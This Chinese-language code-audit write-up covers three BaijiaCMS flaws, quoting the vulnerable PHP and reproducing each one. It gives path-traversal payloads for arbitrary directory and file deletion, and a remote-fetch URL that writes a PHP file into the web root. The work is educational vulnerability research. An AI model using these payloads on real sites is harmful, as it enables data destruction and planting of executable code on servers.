## 百家CMS 代码审计
#### #### 1任意路径删除漏洞
目录/includes/baijiacms/common.inc.php
```php

function rmdirs($path='',$isdir=false)//rmdirs删除空目录
{
	    if(is_dir($path))//is_dir检查指定的文件是否是一个目录
	    {
	            $file_list= scandir($path);//scandir函数返回指定目录中的文件和目录的数组
	            foreach ($file_list as $file)
	            {
	                if( $file!='.' &amp;&amp; $file!='..')
	                {
	               		if($file!='qrcode')
	               		{
	                    rmdirs($path.'/'.$file,true);
	                  }
	                }
	            }
	            
	    	if($path!=WEB_ROOT.'/cache/')
	    	{
	            <span>@rmdir($path);</span>   
	               
	      }    
	    }
	    else
	    {
	        <span>@unlink($path);</span> 
	    }
	 
}
```
$path是路径，就删除这个路径，是文件就删除这个文件
全局搜索rmdir,看看在哪里调用了这个函数
/system/menager/class/web/database.php中调用了这个函数
```php
			 if($operation=='delete')
 {
 		$d = base64_decode($_GP['id']);

 			$path = WEB_ROOT . '/config/data_backup/';//配置/数据备份
		if(is_dir($path . $d)) {
			rmdirs($path . $d);
			message('备份删除成功！', create_url('site', array('act' =&gt; 'manager','do' =&gt; 'database','op'=&gt;'restore')),'success');
		}
```
rmdir的功能是删除备份文件，但是只判断是否为路径，并没有验证是什么路径，所以可以抓包修改为任意路径，从而删除任意路径下的文件；
#### 漏洞复现
(1)在根目录下新建一个test文件夹

![](https://nc0.cdn.zkaq.cn/md/9250/14505020fdec2e558c1ae13935507f36_80004.png)
(2)后台找到备份与还原

![](https://nc0.cdn.zkaq.cn/md/9250/cfeeb554a6c28f6f9be3ad83bdf654f7_45993.png)
(3)点击删除后burp抓包
(4)将id的内容修改为要删除的test文件夹的路径../../test的base64编码Li4vLi4vdGVzdA==

![](https://nc0.cdn.zkaq.cn/md/9250/53a1e965c97baf6a92c4fcf083b6bb64_56936.png)


![](https://nc0.cdn.zkaq.cn/md/9250/fd7ede17d76d3974746eef0a57f109f9_59155.png)
删除成功
## 任意文件删除漏洞
/system/eshop/core/mobile/util/uploader.php

![](https://nc0.cdn.zkaq.cn/md/9250/a9a1572de16080ae56262513c4ee7859_33248.png)
```php
} elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1);
}
```
代码第七号对$operation进行了定义，通过$_GPC对op传参，然后看elseif，$operation等于remove
也就是op=remove
获取到$file参数，调用file_delete函数，跟踪到/includes/baijiacms/common.inc.php
```php

function file_delete($file_relative_path) {
	if(empty($file_relative_path)) {
		return true;
	}
	
	$settings=globaSystemSetting();
	if(!empty($settings['system_isnetattach']))
		{
				if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
			$ftp=new baijiacms_ftp();
		if (true === $ftp-&gt;connect()) {
			if ($ftp-&gt;ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
				return true;
			} else {
				return false;
			}
		} else {
			return false;
		}
	} 
		if($settings['system_isnetattach']==1)
		{
		require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
		$oss=new baijiacms_oss();
		$oss-&gt;deletefile($file_relative_path);
		return true;
	}
}else
{
		if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
		unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
		return true;
	}
	
	}
	return true;
}
```
$settings['system_isnetattach']是附件设置页面中的远程附件选择有本地、FTP、OSS，选择哪个也可以，下面的代码不用去管，那是附件选择的功能调用的代码
直接到最后个else进行if_file判断，最后执行unlink，
file_deleteshi'是通过$file对file传参，传递到参数就是我们要删除的文件
file=../test
结合前面的总结url的一部分应该是&amp;op=remove&amp;file=../test
完整的url参数是http://127.0.0.1/baijiacms/index.php?mod=mobile&amp;act=uploader&amp;op=post&amp;do=util&amp;m=eshop&amp;op=remove&amp;file=../test.txt
#### 复现
1.现在网站根目录下新建一个test.txt文件

![](https://nc0.cdn.zkaq.cn/md/9250/2f06836dde1db76da0106612ff599f22_38309.png)
2.访问构造好的url，http://127.0.0.1/baijiacms/index.php?mod=mobile&amp;act=uploader&amp;op=post&amp;do=util&amp;m=eshop&amp;op=remove&amp;file=../test.txt

![](https://nc0.cdn.zkaq.cn/md/9250/52179df514745d9d050171990039f5c9_57139.png)

![](https://nc0.cdn.zkaq.cn/md/9250/9b04c994dbe698c00c6a1c5ae225faf5_94711.png)
删除成功
## 远程文件上传漏洞
/system/public/class/web/file.php
```php
if ($do == 'fetch') {
	$url = trim($_GPC['url']);//trim移除字符串两侧的字符
$file=fetch_net_file_upload($url);
	if (is_error($file)) {
		$result['message'] = $file['message'];
		die(json_encode($result));
	}
	
}
```
1.先使do=fetch，进入下面的代码
2.$url是传参，然后调用了fetch_net_file_upload()函数，跟踪函数到
/includes/baijiacms/common.inc.php
```php
function fetch_net_file_upload($url) {
    $url = trim($url);
    $extention = pathinfo($url,PATHINFO_EXTENSION );//pathinfo文件路径以数组形式返回，pathinfo_extension,返回文件后缀名
    $path = '/attachment/';
    $extpath="{$extention}/" . date('Y/m/');//（格式化时间日期）文件后缀接年/月
        mkdirs(WEB_ROOT . $path . $extpath);//创建目录接+attachment+文件后缀名+年/月
                                                  //attachment php 2022/09
        do {
            $filename = random(15) . ".{$extention}";//文件名=随机数+文件后缀
        } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
    $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
        $file_relative_path = $extpath. $filename;
    if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
        $result['message'] = '提取失败.';
        return $result;
    }
        $file_full_path = WEB_ROOT .$path . $extpath. $filename;
    return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
```
用pathinfo把文件路径以数组形式返回，且只返回extension，即扩展名；
路径拼接年月，创建路径；随机数和扩展名拼接为文件名；
将读取的文件写入拼接生成的路径下，最后，返回路径信息；
#### 复现
http://127.0.0.1/baijiacms-master/baijiacms-master/index.php?mod=web&amp;do=file&amp;m=public&amp;op=fetch&amp;url=http://127.0.0.1/M.php

![](https://nc0.cdn.zkaq.cn/md/9250/83adaa1bab6fb889d92b4ee011d70124_43264.png)
http://127.0.0.1/baijiacms-master/baijiacms-master/attachment/php/2022/09/RPnYmxgxQOhOXyJ.php
![](https://nc0.cdn.zkaq.cn/md/9250/15f241e23185a7650a740dbf87fa3b9b_88399.png)